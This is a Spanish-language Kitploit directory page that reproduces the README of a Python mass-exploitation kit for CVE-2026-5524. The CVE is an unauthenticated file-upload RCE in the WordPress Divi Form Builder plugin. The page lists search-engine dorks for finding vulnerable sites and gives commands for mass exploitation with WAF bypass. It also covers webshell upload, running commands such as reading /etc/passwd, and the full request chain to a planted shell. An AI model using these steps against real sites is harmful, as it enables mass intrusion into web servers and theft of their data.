Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-5524-PoC — Kit de herramientas de explotación masiva en Python para CVE-2026-5524, una RCE por carga de archivos no autenticada en el plugin Divi Form Builder de WordPress, con carga de webshell y ejecución de comandos. | Kitploit
Herramientas/GitHubGitHub/iicaicai/cve-2026-5524-poc
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónEvasión de WAFSeguridad WebPruebas de PenetraciónRed TeamingDesarrollo de PayloadsTroyano de Acceso Remoto
25hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubiicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

Kit de herramientas de explotación masiva en Python para CVE-2026-5524, una RCE por carga de archivos no autenticada en el plugin Divi Form Builder de WordPress, con carga de webshell y ejecución de comandos.

Ver Repositorio
Compartir

CVE-2026-5524 — RCE no autenticada en Divi Form Builder

Kit de explotación masiva para CVE-2026-5524, una vulnerabilidad de carga de archivos arbitrarios no autenticada en el plugin de WordPress Divi Form Builder <= 5.1.8 que conduce a la ejecución remota de código.

version Devon Aji python telegram

CampoValor
CVE2026-5524
CVSS9.8 (Crítico)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AfectadoDivi Form Builder <= 5.1.8
Parcheado5.1.9
TipoCarga de archivos no autenticada a RCE
Investigador0xd4rk5id3 - EnvoraSec

Contenido

  • Descripción
  • Dorks
  • Instalación
  • Uso
    • Objetivo único
    • Explotación masiva
    • Bypass avanzado
    • Ejecución de comandos
  • Detalles de la vulnerabilidad
  • Técnicas de bypass
  • Stack tecnológico
  • Estructura del proyecto
  • Flujo del ataque
  • Descargo de responsabilidad

Descripción

El plugin Divi Form Builder para WordPress contiene una vulnerabilidad de carga de archivos arbitrarios no autenticada. El manejador do_image_upload() pasa el parámetro POST acceptFileTypes controlado por el usuario directamente a una expresión regular utilizada para validar las extensiones de archivo. Al proporcionar un valor como phtml, un atacante puede eludir la regla .htaccess del plugin que solo bloquea la extensión .php y cargar un webshell con una extensión ejecutable por PHP (.phtml, .phar, .php5, .php7 y similares).

Una vez que el archivo llega a /wp-content/uploads/de_fb_uploads/, Apache lo ejecuta como PHP, otorgando al atacante ejecución remota de código como el usuario del servidor web.

El problema está corregido en Divi Form Builder 5.1.9.


Dorks

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

Instalación

Requisitos: Python 3.8 o superior en Linux, macOS o WSL.

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

Uso

Objetivo único

python3 CVE-2026-5524.py -u https://target.com

Explotación masiva

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Bypass avanzado

Para objetivos detrás de un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configuración de Apache o nginx endurecida.

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Ejecución de comandos

Tras una carga exitosa, el script puede ejecutar inmediatamente un comando o abrir una shell interactiva.

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Flags

FlagDescripción
-u URLURL de objetivo único
-l FILEArchivo que contiene la lista de objetivos, una URL por línea
-t NNúmero de hilos concurrentes (por defecto 10)
--timeout NTiempo de espera de la solicitud en segundos (por defecto 15)
-o FILEGuardar resultados en un archivo de salida JSONL
--proxy URLEnrutar el tráfico a través de un proxy HTTP
--nonce HASHUsar un nonce proporcionado manualmente, omitir la autodetección
--ext EXTForzar una única extensión en lugar de la lista completa de bypass
--shellAbrir una shell RCE interactiva en caso de éxito (solo objetivo único)
--cmd CMDEjecutar un comando en el objetivo y luego salir
--shell-file FILECargar un payload de shell personalizado en lugar del integrado
--no-verifyOmitir el paso de verificación de RCE posterior a la carga
--strict-verifyConfirmar que la URL del shell devuelve HTTP 200 para filtrar falsos positivos
--user-iniCargar un dropper .user.ini para entornos PHP-FPM
--htaccessCargar un reactivador .htaccess para entornos Apache
--aggressiveHabilitar todas las técnicas de bypass disponibles
--null-byteIncluir intentos con byte nulo y doble extensión
--path-traversalIntentar cargar en subdirectorios /uploads/YYYY/MM/
--debugImprimir respuestas HTTP sin procesar para diagnóstico

Detalles de la vulnerabilidad

Código vulnerable

El manejador vulnerable construye una expresión regular a partir de la entrada del usuario sin sanitización.

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Al enviar acceptFileTypes=phtml, la expresión regular resultante /\.(phtml)$/i coincide con nombres de archivo que terminan en .phtml, aunque el propio archivo .htaccess del plugin solo bloquea la extensión .php. Apache entonces ejecuta el archivo cargado como PHP, produciendo ejecución remota de código.

Cadena de ataque confirmada

  1. Rastrear una página que incruste un formulario de Divi Form Builder (/, /contact, /quote, etc). Añadir un parámetro ?nocache=<random> para eludir Varnish, WP Rocket y otras cachés de página que de otro modo servirían un nonce obsoleto.

  2. Extraer el valor fb_nonce del objeto JavaScript localizado:

    de_fb_obj = {"fb_nonce":"<10 caracteres hex>", ...}
    
  3. Enviar por POST un formulario multipart a /wp-admin/admin-ajax.php con:

    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Leer la URL del archivo desde la respuesta JSON:

    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Solicitar el shell con un comando codificado en base64:

    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Técnicas de bypass

Descargar herramienta